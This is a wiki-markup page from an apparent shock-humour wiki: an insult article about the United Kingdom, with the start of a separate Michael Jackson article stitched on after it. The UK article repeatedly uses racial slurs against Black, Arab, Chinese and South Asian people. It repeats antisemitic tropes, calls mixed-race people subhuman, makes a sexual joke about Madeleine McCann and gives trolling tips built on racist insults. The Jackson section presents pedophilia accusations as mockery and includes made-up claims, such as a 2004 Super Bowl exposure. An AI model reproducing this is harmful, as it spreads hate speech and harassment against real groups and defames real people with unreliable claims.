[[Image:Bannedinbritain.jpg|thumb|200px|BANNED IN BRITAIN]]
Crime is the UK's second national sport (the first being [[Football]]), and this second sport is becoming ever more popular as, at the urging of legions of elderly, white haired, [[Tory|Tory-voting]] [[old people|old women]] who hate everything and anything that might resemble [[fun]], [[Government|Big Brother]] is banning everything. (Yes, they are this [[stupid]]).

<big><big>'''People and things [[b&|banned]] and forbidden in Britain include:'''</big></big>

#[[Guns]] (Yes, they are this [[stupid]])
#Knives (Yes, they are this [[stupid]])
#[[Marijuana|House plants]] (Yes, they are this [[stupid]])
#[[Loli]]
#[[Shota]]
#[https://www.telegraph.co.uk/news/worldnews/northamerica/usa/5291467/Profile-Michael-Savage-the-US-shock-jock-banned-from-Britain.html Michael Savage]
#[https://www.independent.co.uk/news/uk/crime/under-starter-s-orders-the-latest-weapon-to-be-outlawed-1947204.html Starting races]
#Street parties
#'''{{archive|4pjbU|Manhunt 2}}'''
#Cutlery (Yes, they are this [[stupid]])
#[[Mike Tyson]] (Yes, they are this [[stupid]])
#'''{{archive|66NqN|Fred Phelps}}'''
#'''{{archive|3YjqR|Guro fap fantasies about Girls Aloud}}'''
#Saying horrid things about [[Princess Diana]]
#[[The Human Centipede|The Human Centipede 2]]
#[http://news.bbc.co.uk/2/hi/7885918.stm Geert Wilders]
#[[Halloween]]
#Football Hooligans (Yes, they are this [[stupid]])
#[http://news.bbc.co.uk/2/hi/uk_news/wales/8484116.stm Shopping in your pajamas]
#[[Snoop Dogg]] (Yes, they are this [[stupid]])
#[https://www.cnn.com/2010/SHOWBIZ/Music/06/08/chris.brown.uk.ban/index.html?hpt=T3 Chris Brown]
#[[Trolling|Cyber-bullying]] (Yes, they are this [[stupid]])
#[[Hate Speech]] (Yes, they are this [[stupid]])
#[[Lauren Southern]]
#[[Martha Stewart]]
#[https://www.independent.co.uk/tech/giant-plasma-tvs-face-ban-in-battle-to-green-britain-1299665.html Plasma screen TVs] (Yes, they are this [[stupid]])
#'''{{Archive|rwjOP|Photoshop}}''' (Yes, they are this [[stupid]])
#[[Chris Morris]]
#'''{{archive|Pe4rn|Fire extinguishers}}''' (Yes, they are this [[stupid]])
#'''{{archive|2VEqa|Goldfish}}'''
#[[Testicles|Conkers]]
#(Possibly) [[Donald Trump]]
#Nuclear weapons
#'''{{archive|P6Zdu|Puppies}}'''
#[[Christmas]] (Yes, they are this [[stupid]])
#Celebrating the Fourth of July (Yes, they are this [[jealous|jealous of America]])
#Social Media[[retard|, unless you're crazy enough to hand over your ID]]
#Tumble Dryers
#[[You]]

[[Fags|Law abiding citizens]] are left to be [[ass rape|escorted]] while going to the market. This brings great [[lulz]] to [[Amerifags]] as they are all armed to the teeth, and help each other out more often than those dirty [[nigger]]s kill each other.
{{clear}}

==The People==
[[IMage:A_british_gathering.jpg|thumb|What happens when British people get together]]
[[Image:Queen nude stamp.jpg|thumb|Elizabeth II, by Grace of [[God]], of the United Kingdom of Great Britain and Northern Ireland and of Her [[Antigua and Barbuda|other]] [[Australia|Realms]] [[Canada|and]] [[New Zealand|Territories]] [[Queening|Queen]], Head of the [[Commonwealth]], Defender of the Faith]]
[[File:Woking 925.jpg|thumb|Public transport in Surrey]]
[[File:Weird british guy.jpg|thumb|The average British citizen; smoking a pipe and being faggy.]]

''UKunts'' are the inhabitants of the UK and are basically [[Europeans]] minus the class and culture. Besides ''UKunts'', other terms of endearment to describe the British are '''Brits''' and '''Limeys''' (if you're from America or Canada), '''Pommies''' and '''Pommy Bastards''' (if you are from Australia or New Zealand), '''Island Apes/Monkeys''' (if you are from Germany) and '''Goras''' (if you're from South Asia). Other words to call the British are '''Micks''', '''Paddies''', '''Scots''', and '''Neanderthals'''.

Like USA being infested with [[niggers]], Britain is also being infested with [[sand niggers]]. The first and most notable trait of the is their sense of elitism and entitlement - a leftover from an era when Britain ruled most of the world. Sadly, most of the British people, having lost their power, have not yet lost the feeling that they are better than everyone else. They also get wet dreams from [[Goatse|this]]. Most Britfags had their [[vagina|penis]] chopped off by their mother for getting their sister pregnant.

Despite the fact that Britfags think of the opposite they are actually much inferior in any way possible than other [[Europe|Zooropeans]] due to continuous race-mixing with subhumans and other genetic factors and culture.

Indeed, so far down the primrose path to genetic perdition is Britain that when neo-Nazis protest in town centers, they are harassed by [[Underage B&|15-year-old girls]] pushing a buggy full of niglets from having been knocked up by a pedaristic spade (an offence of statutory rape). Bystanders are so hypnotised by the ZOG machine that they stand and applaud while the neo-Nazi is [https://www.dailymail.co.uk/news/article-3581295/My-daughter-s-mixed-race-booted-Moment-brave-mother-daughter-stood-neo-Nazi-protestors-advocating-free-white-Britain.html struck speechless with horror and flees, fearing for his own sanity.]
=== A Short List of European nations inferior to Britain ===

*[[Germans]]
*[[French]]
*[[Italians]]
*[[Austria|Austrians]]
*[[Swedish]]
*[[Norwegian]]
*[[Denmark|Legoland]]
*[[Finnish]]
*[[Dutch]]
*[[Iceland|Icelanders]]
*[[Belgium|Belgians]]
*[[Greeks]]
*[[Polish]]
*[[Irish]] (different from [[Northern Ireland]] for all of you dumbfuck [[Amerifags|yanks]])
*[[Estonia|Estonian]]
*[[Lithuania|Lithuanian]]
*[[Lesbian land|Lesbinian]]
*[[Latvia|Latvian]]
*[[Hungarian]]
*[[Sealand|Sealandic]]
*[[Switzerland|Swiss]]
*[[Serbian]]
*[[Spanish]]
*Slovakian
*Slovenian
*Luxembourgers
*Liechtensteiners
*Czechs

==Obesity==

UKunts are also famous for being extremely [[fat]]. The UK ranks at number ten on the worlds fattest country countdown, likely due to lack of exercise and high levels of crumpet eating. This is ironic, seeing as how the typical UK stereotype is that [[Americans]] are fat (not that many of them aren't, around 66% of Americans are obese).

==Ego==

The UK holds, without a doubt, the most annoying people on the planet. Everyone, from the 3-year-old to the ancient grandma talks in the worst accent known to man. Combining their terrible accent with how frequently they talk, they get the award. Most British, Irish, and Scottish accents sounds a high-pitched queef from a vagina that has been filled with cement combined with a retarded walrus with herpes in its mouth.

[[unwarranted self-importance| They have a syndrome, reinforced through education, parents and their fellow scumbag peers of being the best in the world because of a now long gone empire.]] They have not quite grasped the fact that all empires rise and fall, this false sense of importance constantly contributing to their image of being the [[lolcow|laughing stock]] of the rest of Europe.

Primitivity has to be considered. The UK is a slowly decaying country losing every possible form of human value. Their youth crime is one of the highest in Europe, and a charming night out will undoubtedly end up with a slap to the face and your phone stolen. Flocks of drunken [[slut|slags]] drift through the cold nights, clutching their high heels with one hand and straddling a cigarette with the other as they babble incoherently at passers-by.

Hypocrisy is an everyday part of life within British people. In the UK people have been brought up being told to not express their feelings and to be reserved. This hypocrisy often leads them to make jokes towards other individuals about what they really think of them; such hypocritical jokes being justified by the word 'banter'. British people find it very difficult to ever say to someone's face what they think of them, with their tiny little minds finding it difficult to comprehend actual empathy, they resort to this "banter" instead.

{{Quote| Haha yeah man, why are you, like, so fuckin' UGLY mate, haha yeah. Prat.| Decent banter}}

British are [[Jew|greedy]] [[brothel|shopkeepers]] who want Arabs to spend [[Jewgold]] buying their crap. But at the same time, they are too racist to tolerate Arabs walking/driving on their streets. Srsly they are grumpy about it and made this grumpumentary. They prefer the rich Arabs send in the [[Jewgold]] via mail order, rather than showing up in person. They believe they are being [[irony|colonized]].

{{frame|<youtube>JA_NoL9cTvk</youtube>|border=blue|background=red|margin=auto}}

Srsly tho, the vid above does show that Brits can be some of the greatest IRL [[trolling|trolls]] and provide lots of lulz.

==Chavs==
{{Main|Chav}}
[[Image:Taking dump in police helmet.jpg|200px|thumb| law abiding Briton (Yes, they are this [[stupid]])]]
Chavs are basically the [[Wigger|white version of niggers]], living off the state and smoking enough pot to turn your skin fluorescent. Instead of getting their pasty white asses a job or paying for their own home they would rather bitch about how hard their life is, try to rap, and spawn more children than [[Your Mom]], who will then live the exact same life as their parents with enthusiasm that makes Jesus cry. Such individuals are nonexistent in the rest of Europe, and these subhumans result in the English having a "hate syndrome" with one another, and no moral or dignified background.

[[File:Smokinglol.jpg|thumb|As seen in the above image, British women are the epitome of class.]]

==Things The British Hate==

#Practicing dental hygiene.
#Traffic
#The [[French]].
#Taking away the gallons of tea they drink everyday.
#The [[USA]].
#David Cameron.
#Eating good food.
#Sean Penn.
#The [[Germans]].
#Tipping.
#Piers Morgan.
#[[Cops]].
#The 4th of July.
#Saying something negative about the Royals.
#Children.
#[[Rednecks]].
#Tony Blair.
#Self-defense.
#Brussels.
#American football.
#The Scottish (which ''is'' part of the UK).
#[[Islam|Abu Hamza]].
#The Irish.
#[[Old people]].
#Halloween.
#The EU.
#[[Perez Hilton|Mario Armando Lavandeira, Jr]].
#Guns.
#The [[China|Chinese]]
#[[W|George Dubbya]].
#Toothbrushes.
#Toothpaste.
#The [[Scottish]]
#The Welsh
#Mouthwash.
#The [[Australians|Aussies]].
#Gordon Brown.
#Keeping sober.
#The [[Canadians]].
#Warm and sunny tropical weather.
#[[Shit|Hershey's Chocolate]].
#India.
#Themselves
#The [[Spanish]]
#[[You]].

==Famous Britfags==

*{{ytlink|S9-MmMvnwu8|SuprFgt}}
*[[CheekyBen]]
*[[Gary Glitter]]
*[[Gordon Brown]] - Ex-Prime Minister
*Deputy PM [[Nick Clegg]] & PM [[David Cameron]] — the first [[gay]] couple to be in office together
*[[Princess Diana]]
*[[Susan Boyle]]
*[[Tony Blair]]
*[[Jack the Ripper]]
*[[Margaret Thatcher]]
*[[Heather Howland]]
*[[UKIP|Nicholas Farage]]
*[[The Royal Family]]
*[[The Beatles]]
*[[Liverpool|Wayne Rooney]]
*[[Mr. Bean]]
*[[Gordon Ramsay]]
*[[Monty Python]]
*[[Gary Coleman|Sir Garrick Coleman of Stroke]]
*[[Soccer|David Beckham]]
*[[House|Hugh Laurie]]
*[[Rage|Russell Crowe]]
*[[Steve Irwin]]
*[[Kangaroo Jack]]
*[[Morrissey]]
*[[Jimmy Savile]] - If you are a Brit, there is a 2 in 10 chance that he has molested you
*[[Ed Balls]]
*[[Michael Ryan]]
*[[Derrick Bird]]

== History ==
[[File:Wicker man ritual.gif|thumb|Harvest festival in Derbyshire]]
[[Image:Union-jack.gif|thumb|220px|The Union flag]]
[[Image:English nazis2.png|thumb|220px|The Union flag according to /[[k/]]]]
===Early History===
Since [[before the Internets|earliest recorded history]], the evil [[ginger]] [[ebaumsworld|Barbarian tribes]] inhabiting the Kingdoms of [[Scotland]], [[Ireland]], and the Principality of [[Wales]] have been creating [[drama|havoc]] as a way to [[gangbang|gang up]] against one another.

Following the [[hangover|"Scottish Enlightenment"]] and [[slavery|Industrial Revolution]], Scotland became the world's dominant industrial and [[Pain|maritime]] power, playing a leading role in developing parliamentary [[demockery]] and in advancing [[Garfield|literature]] and [[TV|science]]. As hard as this is to believe if you've ever met a [[anus|shit]] eating '''Ned''' (as they prefer to be called), it may be explained when you consider that, like the Jew, the Scots are all [[Jew|skinflints]] when it comes to money.

Until recently, the Channel had kept all enemy [[i|invasion]]s at bay despite frequent 'pop-ins' from such diverse [[anon|party crashers]] as the:
*[[Roman Empire|Romans]]
*[[Vikings]]
*[[France|French]]
*[[Germany|Germans]]
*[[Denmark|Danes]]
*[[Norway|Norwegians]]
*[[Paki]]s.

However, most found the [[puke|British food]]--and obligatory [[piss|lukewarm beer]]--and weather to be so atrocious and [[snob|the people]] so thoroughly obnoxious that they would [[GTFO]] asap, leaving behind their cultural trappings, which the Brits then fashioned into a culture of their own.

===[[Epic Fail|The British Empire]]===
[[Image:Royals.png|thumb|300px|Which one of these crusty perverts is getting a blowjob from [[Madeleine McCann]] right now? SMS the number to 09011 32 22 to WIN! (*UK Residents only. Some conditions apply).]]

{{quote|"The sun never sets on the British Empire."|On 27 December 2008, the sun set on the British Empire at precisely 15:58.}}

{{quote|"...because [[God]] doesn't trust us in the dark."}}

After losing to some [[epic fail|closeted Frenchmen in the Battle of 1066]] and getting their asses taken over by the [[fags|perfumed fops]] of a foreign royal court, the British decided that it would be more fun if they were the ones doling out the [[faggotry]], instead of receiving it. Thus did the British [[attention whore|will to empire]]. There is no doubt this was the greatest [[period]] in British history and a victory for [[white people]] which would not end until the abolition of slavery.
[[Image:Wing Commander Roger Morewood.jpg|thumb|200px|left|This sort of man is why Britain was funnier than America.]]
[[File:British imperial officer uses bengali woman as transport.jpeg|200px|thumb|left|For King, country, and the lulz]]
At its peak, the [[old meme|British Empire]] covered over [[pwnt|one-fourth of the earth's surface]] and nearly one third of its population. Under [[The Royal Family|Queen Victoria]], the [[Army|British Army]] and [[drunk|Navy]] went forth to go where no man had gone before and kindly teach the filthy, godless natives--from the black person of Africa to the [[Jenkem|ripe smelling]] [[Indians|box-wallahs]] of India to [[rickroll|rickshaw]] pulling [[chinks]] of China--the wonders of [[whitey|civilization]] and the [[NO U|word of God]] using some good opium (and a lot of guns failing that). While they were at it, they trolled the fuck out of each nation they favored by making them convert to the British way. This included insisting that everyone drive on the wrong side of the road, speak [[Queening|the Queen's]] English and wear [[gay|suitable]] attire. They also installed bureaucracies in every government and private institutions that would provide enough [[bureaucratic fuck|red tape]] to ensure that the natives would never get restless, since they'd be preoccupied trying to throttle Gupta for having them fill out a form in triplicate to get a fucking train ticket.

[[Image:queenofengland2.jpg|thumb|220px|[[Winston Churchill]] showing his contempt for the British people.]]

Because the [[British]] have a long history of [[pwn|conquering]] [[n00b|helpless brown people]] in Third World shitholes, they have developed [[unwarranted self-importance|delusions of grandeur]] and believe that their empire was greater than it really was. It is a known [[fact]] that Britain's performance drops slightly when their opponents are other [[White]] people, apart from numerous British victories, which are nothing short of ownage.

Because of Britain's activities in sending degenerate [[DO NOT WANT|Irishmen]] to their colonies to fuck like beasts and [[New York|outnumber the local population]], resentment has been simmering against Britain around the world for some time. In particular, people in Africa seem upset about some [[shit nobody cares about|stupid shit that nobody really understands]] and some unpronounceable African dumbfuck word called apartheid, including the grandfather of the [[Barack Hussein Obama|President of the United States]]. [[Some argue]] that Obama, in classic black person tradition, will send his homies to pop a cap in the UK's collective ass as retribution for what it did to the father of the father that abandoned him as a baby, but this is mostly speculation.

===Decline===
Of course all [[win]] eventually turns into [[fail]] and the British Empire swiftly went downhill. The United Kingdom is no longer [[1337|considered an international superpower]] and the United Kingdom now spends its time split between trying to get [[chav]]s neutered and sending its youth to [[rape]] and pillage the [[Middle East]] at the request of its [[Fag|American]] cohorts because they [[Vietnam|fuck up without them around]]. Britons particularly despise the [[Israel|Israelis]] for their part in introducing their former King to Jew.

Ironically the UK is now trying to keep another [[EU|evil empire]] from taking over and ruining its ass. It's clear that the [[Nazi|Germans]], [[French]] and [[Dutch]] are just seriously jealous of the ex-prestige of this country.

==British Time==
[[File:Britfag Thread 7 Bong.jpg|thumb|left|Britfag culture.]]
[[File:Oi It's 7 Bong.jpg|thumb|A factual account of how the British tell the time.]]
[[File:Superior English Time.png|thumb|A rough guide to British time for any Americans.]]
Foreigners visiting Britain for the first time may notice that British people never seem to be wearing watches. Similarly, clocks are absent. This can prove disconcerting, until one realizes that clocks are, in fact, extinct in Britain and have been since the days of [[Bitch|Queen Victoria]], when they where hunted to extinction by [[steampunk|steampunks]] who plundered their innards to decorate their ugly clothes and fashion accessories with.

The only survivor of this nationwide [[holocaust|chronocaust]] is the huge clockface of the belltower of the Houses of Parliament in [[Londonistan]], affectionately known as Big Ben. It is thought that Big Ben was spared, not only due to it being too high for most to reach, but also because the immense size of its component parts made them unsuitable and impractical to attach to clothing, even for the most [[swag|ostentatious]] of [[steampunk|steampunks]].

Because of this, Big Ben fills a vital function in British life as it is their only way of knowing exactly what time it is. On the hour, whenever Big Ben chimes, an awed hush descends on the nation as every single Britfag stops whatever they are doing and listens intently, counting off the chimes on their fingers, before cheerfully and loudly announcing, for example, "[[U WOT M8|OI, IT'S 7 BONG!]]" for the benefit of those who might not be aware of what time it is.

Big Ben is to be destroyed by [[terrorists]] in the year 2020, as fortold in [[Alan Moore]]'s <s>graphic novel</s> movie, ''[[V for Vendetta]]'', plunging the nation into [[anarchy]] and confusion as to what time EastEnders is on tonight. In a desperate attempt to head off the fated catastrophe, [[David Cameron]] has devised a last-ditch plan to filter all [[internet|internet pr0n]] through BAE Detica blackboxes. Every fictional character portrayed in Britain will be interviewed to determine whether the sex she was having was consensual or not. Since when you think of it, sex is an adjunct to marriage, and marriage is a patriarchal institution, and therefore women are actually being coerced by a brutal economic system, any careful viewer should understand it is not. When every last man in Britain is put behind bars for three years, they cannot appear in Guy Fawkes masks and overthrow the government. Hmmm, unless the protesters in the movie were actually women? I never thot of that...

==How to Troll a British person==
[[Image:Chav.jpg|thumb|Say something nice about [[Tony Blair]].]]

*Although technically part of [[Europe]] (and a member of the [[EU]]) [[Some argue|some]] British people [[elitist|do not consider]] [[fucktards|themselves]] [[Eurofag]]s and will likely [[caveman|shove a broken bottle]] in your face if [[Americans|you]] point this fact out to them.
*Call them the niggers of Europe. You wouldn't be wrong in doing so because thats exactly who the British act like on holiday. They somehow can't keep their genitals in their pants or off their male friends proof: '''{{archive|WCVI3}}'''
*Ask them why they hate immigrants so much. Tell them that the immigrants coming in can only better the already extremely inbred British genepool and in the end possibly produce good looking British people for once.
*Say something bad about [[Princess Diana]].
*Remind them that Winston Churchill was legally American because his mom was born in Brooklyn, New York.
*Make jokes and stereotypes about the British which have not been used since the 19th century (see the [[English]] article for tips).
:*Bonus points if you constantly shout "BLIMEY!", "I SAY!" and "OH I DO BELIEVE I FANCY SOME SCONES!". This will cause the Brit to shit rage bricks. Watch out for his scalding hot tea.
*Make jokes about the Royal Family.
*Mention anything positive about the French.
*"Praise the Irish. Long live the IRA!"
*Tell them how you're [[American]] and how much more awesome [[Amerikkka]] is than Britain. You'll likely receive replies such as:
:*BOLLOCKS, I 'ATE THE BLOODY YANKS!
:*BLIMEY! WE 'AVE A YANK IN [[THE GAME]]!
:*GTFO YOU BLOODY YANK!
:*FUCK YOU YOU FAT FUCKING TWAT!
*Just know it will always have "yank" in it. Damn [[soviet|red]] coats
*Brits have got the monarchy, the US has the money, but I know that you wanna be [[DO NOT WANT|Canadian!]]
*English people hate foreigners, foreign languages and Americans, so trolling couldn't be easier! You don't even need to be able to speak a language, provided you speak fast enough in whatever [[Moonspeak|gobbly-garbage]] you're speaking, just play your role well enough and all the English people will do is just yell louder (because speaking slower and louder makes every language better).
:*Bonus points are awarded if you play a foreign hooker in Thailand or Amsterdam, so that your mark yells 'HOW MUCH FOR SEX?'
*If the word yank is used, respond along the lines of "Oh my, I haven't had anyone toss me off in awhile. Would you like to exchange [[twitter]] info and meet up IRL?" Most Britfags are homophobic and turning their gay little insult, into what it really is, will cause their puny minds to implode and the rage to flow.
*[[Truth|Point out the fact that they have no civil rights written down in any form of a constitution, and thus, have had their right to bear arms raped in an emergency act of parliament, just because someone shot a couple kids in a high school.]] Note that these members of parliament where probably elected to represent in ghettos they have never been to, due to the way British government is designed to rape immigrants. Also try and avoid the fact that their rights are actually present, just in a whole clusterfuck of documents as opposed to [[Constitution|one]], and that they are [[Irony|better protected by law]] from oppression by the [[W|political]] [[Obama|elite]]. Of course, they won't care to know about this. Why would they when they can watch X Factor?
*Run around and start screaming, [[Bullshit|"AMERICAN FOOTBALL IS THE BEST SPORT ON EARTH!"]] You will most likely be mugged and stabbed to death, especially by hooligan firms (which are mainly chavs).
*Let them know that even though the sun never sets on the British Empire, the lights in their cars don't work, thanks to Lucas Electric.
*Point out that two-thirds of the world's English-speakers are American, English-language culture is now dominated by Americans, and that the English identity barely exists anymore, having been mostly usurped and improved by Americans.
*Tell them how much the movie [[Mel Gibson|The Patriot]] is the greatest and most accurate war film evar.
*Explain to them that the Americans "save" them in every war and that they beg for our help.
*Bring up Gibraltar[https://www.telegraph.co.uk/news/worldnews/europe/gibraltar/10236507/The-Spanish-must-take-their-hands-off-Gibraltars-throat.html][https://www.theguardian.com/world/2013/aug/19/gibraltar-dispute-navy-warship-westminster]

== Why The British Suck ==

[[File:British Soldiers.jpg|center]]

#They don't practice proper dental hygiene.
#They smell funny.
#It rains too much in the UK.
#They always whine about [[France]].
#They still have an outdated, insignificant monarchy that doesn't give a shit about how their country is run as they suck their taxes dry.
#They drink too much.
#They're the leftover, butthurt descendants of people who saw the fall of their long gone, once-glorious and power empire.
#They're the fattest people in Europe.
#They let a bunch of niggers, sandniggers and [[China|chinks]] flood their country.
#They're ugly and look inbred.
#They coax and pamper their killers, drug dealers and rapists while sending them off to holiday camps for 2-5 years or so.
#They bitch constantly about how violently gun-loving [[America]] is even though they have the highest murder rate in Europe with repeated daily stabbings, muggings and gang-rapes.
#They have Piers Morgan.
#They talk in all sorts of annoying accents that rapes the ears.
#They're still butthurt because they lost the American Revolutionary War.
#They created [[Harry Potter]].
#Most of them are [[Snob|stuck-up]] [[cunts]].
#They violently fight and kill each other over football.
#They complain about [[Americunts]] being arrogant and thinking that they're the best people in the world, even though they act they same way themselves.
#Their politicians are spineless pussies.
#Their police are also spineless pussies.
#Most of them have inflated, fragile egos.
#They produced [[Simon Cowell]].
#They have disgusting food which is considered the worst in the world.
#They produced [[Gordon Ramsay]].
#They produced [[One Direction]]
#They spend endless days confined in their bedrooms posting bullshit, trolling comments on their shitty, British-run tabloid websites like the Guardian and the [[Daily Mail]].
#They made Amy Winehouse.
#They made The Beatles
#They're political correctness's capital of the world

=== Britland is convoluted as shit ===

*[[Commons:File:British_Isles_Euler_diagram_15.svg|Euler diagram]]

It is no wonder that people don't know where this stuff is located (and funny that Brits get pissy about it).

== Videos ==
 
<center>{{frame|<youtube>jBxC9O31TH8</youtube>
<center>'''The Antiques Roadshow is Britain's most British TV program'''</center>
|border=blue|background=red}}</center>
 
== Gallery ==
 
<center>
{{frame|<center><gallery perrow=5>
File:Britfag comic tommy cooper dies on live TV (april 15, 1984).jpg
File:Avon lady kills toyboy for pissing in her conservatory.jpg
File:Richmond golf club (london, england) - rules during wwii.jpg
File:British delicacy - gravy flavoured potato crisps.jpg
File:@Channel4News UK - mystery of why white areas have less crime.png|{{colortext|WHITE|Who's going to tell her?}}
File:Lutonthenadnnow.png
File:Meanwhile, in england.jpg
File:Shariahforbritan.jpg
File:UKverUS.jpg
File:Anglos Eat Babies.jpg
File:UKessense.jpg
File:Bob_grant_teeth.png
File:UK Cops Faggotry 238.png
File:UK Armed Forces Fagggotry.png
File:UK School Slave 2017.jpg
File:British cops sexually ahrassed by nonwhite scum.jpg
File:UKSS.jpg
File:UKUSlol.jpg
File:PolUKsum.png
File:Angloact.jpg
File:Godfrey bloom old school brit.png
File:Uk police priorities.jpg
File:Muslims 70% inbred in bradford uk.jpg
File:Britan Then And Now.jpg
File:Cops Swastika.png
File:Cops UK fags.png
File:UK Knife Laws.jpg
File:Briturd.jpg
File:UK Schlomo Anglo.jpg
File:UK Big Angloballs.jpg
File:Britanball Gun Ban.jpg
File:UK I was Like.jpg
File:UK Brexit Pepe.jpg
File:UK Polandball Toilet.jpg
File:UK Brexit reality.png
File:UK Queen MAGA.jpg
File:Watford gap, northamptonshire, uk.png|[http://www.streetmap.co.uk/map?x=458500&y=269500&z=0&sv=458500,269500&st=4&tl=Watford+Gap+in+Northamptonshire&mapp=map&searchp=ids {{colortext|WHITE|Watford Gap, Northamptonshire}}]
File:Police hit by "ooh betty" prankster.jpg|{{colortext|WHITE|Typical UK crime-wave}}
</gallery></center>|border=red|background=blue}}
</center>
 

==See also==
[[File:Omgbritish.gif|thumb|[[Typical]] Briton's reaction to this page.]]
*[[Abbey Road]]
*[[Britchan]]
*[[British Scum]] - A comprehensive guide to the 'people' of this [[gay|green]] and [[shitty|pleasant]] land.
*[[Britain's Got No Fucking Talent]]
*[[Brexit]]
*''[[Buck Bumble]]''
*[[Chav]]
*[[Cheeky Nando's]]
*[[Chuckle Brothers]]
*[[Daily Mail]]
*[[Europe]]
*[[Fat]]
*[[Keep Calm and Carry On]]
*[[Mornington Crescent]]
*[[Poppy Fascism]]
*[[Pussy]]
*[[Shanespannercock]]
*[[U WOT M8]]

== External Links ==
[[File:Framley examiner.png|thumb|right|150px|"Framley's Traditional Favourite Since 1978"]]
*'''{{archive|jS4us|A Guide to the UK}}'''
*'''{{archive|fKjCQ|British woman masturbates to death but the British way of death. Lolwut.}}'''
*'''{{archive|WCVI3|Typical British behaviour.}}'''
*'''{{archive|eyepv|Biscuits and nettles are considered assault weapons in Londonistan}}'''
*[https://www.manchestereveningnews.co.uk/news/greater-manchester-news/manchester-new-years-eve-pictures-10673770 Manchester celebrates New Year, very cool gallery of drunk britfags]
*[http://www.framleyexaminer.com/ ''The Framley Examiner''] - Britain's best local newspaper
*[https://www.bbc.co.uk/history/historic_figures/kitchener_lord_horatio.shtml War Criminal Lord Kitchener Horatio Drowned]
*{{wayback|http://encyclopediasupreme.org/pdf/Mahdishead.pdf|20160527111547|title=Lord Kitchener Horatio loved to dismember his enemies like Prophet Mahdi from 1896-1899 Soudan - UK War}}
{{Britfags}}
{{Commonwealth}}

{{timeline|Featured article June 27 & 28 [[2016]]|[[Mighty No. 9]]|United Kingdom|[[Rat]]}}
{{timeline|Featured article May 27 & 28, [[2017]]|[[ISIS]]|{{PAGENAME}}|[[Terrorism]]}}
{{timeline|Article of the Now September 8 & 9, [[2021]]|[[Supreme Court]]|[[United Kingdom]]|[[9/11]]}}
{{Timeline|Featured article August 18 and 19, [[2024]]|[[Susan Wojcicki]]|[[{{PAGENAME}}]]|[[Title IX]]}}

Michael Jackson

2026-07-26T01:40:16Z

SmidgeX2:

{{spoiler|[http://www.msnbc.msn.com/id/32542682/ns/entertainment-music/ MICHAEL JACKSON WAS MURDERED]}}
{{spoiler|THE BIOPIC WORKED AND NOW ZOOMERS THINK HE DIDN'T FUCK KIDS}}
{{Pedo}}
{{cleanup}}
<div style="position:fixed; bottom:0; right:0">[[Image:Hanson exploitable fixed.png|50px]] </div>
{{Epstein}}
[[Image:Thehorror.jpg|thumb|right|[[Perfection Girl|YOU ARE FAPPING TO A DEAD GUY, ENJOY!]]]]
[[Image:Pedojackson.jpg|thumb|[[Star Wars|The student must now become the master...]]]]
[[Image:diana napolis.jpg|thumb|right|Computer generated approximation of what [[Michael Jackson]] would look like at 50 had he stayed black.]]

{{quote|<big>'''>:/'''</big>|[[Joseph Fritzl]]}}
'''Michael Joseph Jackson'''{{Boylover}}, or '''Wacko Jacko''' was a 50-year-old (if not dead, would've been a {{age|1958|08|29}}-year old) Albino [[manchild]] and alleged pedofag from the northwestern part of [[Indiana]] that is literally almost near [[Chicago]] who found fame and fortune as a homosexual pederast and so became a poster boy for [[NAMBLA]]. He could also sing and dance like an organ grinder's monkey. Born as a small black boy into a large family of singing and dancing chimps, he eventually struck out on his own to [[Carlton|turn into a white]] [[tranny]] version of Diana Ross, travel around the world [[shotacon|luring young boys]], monkeys and [[Birdman|Elephant Men]] to slumber parties at his very own castle, Neverland, and to prove once and for all that when [[buttsecks|the big hand touches the little hand]], it's time to get the fuck right outta there!

On June 25th, 2009 Wacko Jacko was [[buttsecks|playing doctor]] with his personal aesthetician after a hard day rehearsing for an upcoming tour and after nagging the shit out of the poor IRL doctor about not being able to sleep, keeled over from an overdose of the hospital-grade elephant tranquilliser Diprivan (or "[[drugs|milk]]" to Jacko). Yes, that's right, [[great justice]] finally had its day as Jackson was put down by the [[death|Grim Ræper]] for being the [[pedobear|damn dirty ape]] he is via lethal injection. Jackson's highly polished exo-skeleton will be stuffed with robotics and placed on display at Disney's Hall of Presidents.

Long rumoured to be the leading cause of ejaculations in [[underage ban]]s, it wasn't until 2003 that the long arm of the law touched Jacko inappropriately when one of his many victims' mothers revealed lurid description of Jacko's [[cock|wedding tackle]] after he ran out of [[bribery|hush money]]. Despite being legally a [[white]] woman, '''Captain EO''' played [[The Race Card|the race card]] like [[OJ]] in his/her 2003 pedophilia trial.

Amongst the train wreckage of a life full of batshit crazy behaviour, he leaves a legacy that includes being the author of [[W]]'s controversial '''No Child's Behind Left''' plan and saving humanity from the [[Beatles]] voluminous catalogue of songs (after outbidding [[Paul McCartney]] for the [[Jew gold|publishing rights]]) by preventing iTunes from offering said drek to the public.

Always a controversial figure, he will nonetheless be fondly remembered for the infamous "wardrobe malfunction" on live TV at [[Football|Super Bowl XXXVIII]] on February 1, 2004 in which he exposed his penis to Justin Timberlake during the half-time show

He is survived by [[wikipedia:Bubbles_(chimpanzee)|Bubbles the chimp]], the Elephant Man's remains, several children called [[true|Blanket]], a [[cumdumpster|surrogate babymamma]], Macauley Culkin, Stephen Spielberg, [http://www.latimes.com/entertainment/news/la-et-michael-jackson31-2009may31,0,1441957.story a mountain of debt], and the joke:

'''Q:''' What do Michael Jackson and KMart have in common?
'''A.''' Little boys' pants half off!

He will be missed by children everywhere for so many will never know the sweet caress of Michael Jackson's gloved hand.

[[Image:Michael_Jackson_Head_On_Fire.gif|right|thumb|200px|Proof that thinking about child rape too long will make your Soul-Glo ignite.]]
[[Image:Mj advice.jpg|thumb|[[Advice dog|Advice]] from Jacko]]
[[Image:MJBubbles2.gif|thumb|right|500px|Jacko's morning routine]]
[[Image:Michael fritzl.jpg|thumb|[[Josef Fritzl]] is Bad Michael Jackson.]]
[[Image:Mj.png|thumb|right|Celebrities are more important than [[You|You]].]]
[[Image:MJ_I_Rape.jpg|thumb|right|Jackson stars in his own feature length documentary movie ''I Rape''.]]
[[Image:Creepyposter.jpg|thumb|This [[demotivator]] courtesy of Neverland Ranch.]]
[[Image:Goodshow.jpg|thumb|right|MJ's death pleases the [[Juliana Wetmore|Elephant Man]].]]
[[Image:Bubbles_gun.jpg|thumb|Bubbles' gangsta rap album]]
[[Image:Blowing_bubbles.jpg|thumb|It is a well known fact that chimps are a gateway drug to [[13-year-old boys]].]]
[[Image:Wackajackson.jpg|thumb|Wacka wacka wacka jackson]]
[[Image:Pedo bear-jackson.jpg|thumb]]

==Life At Home==

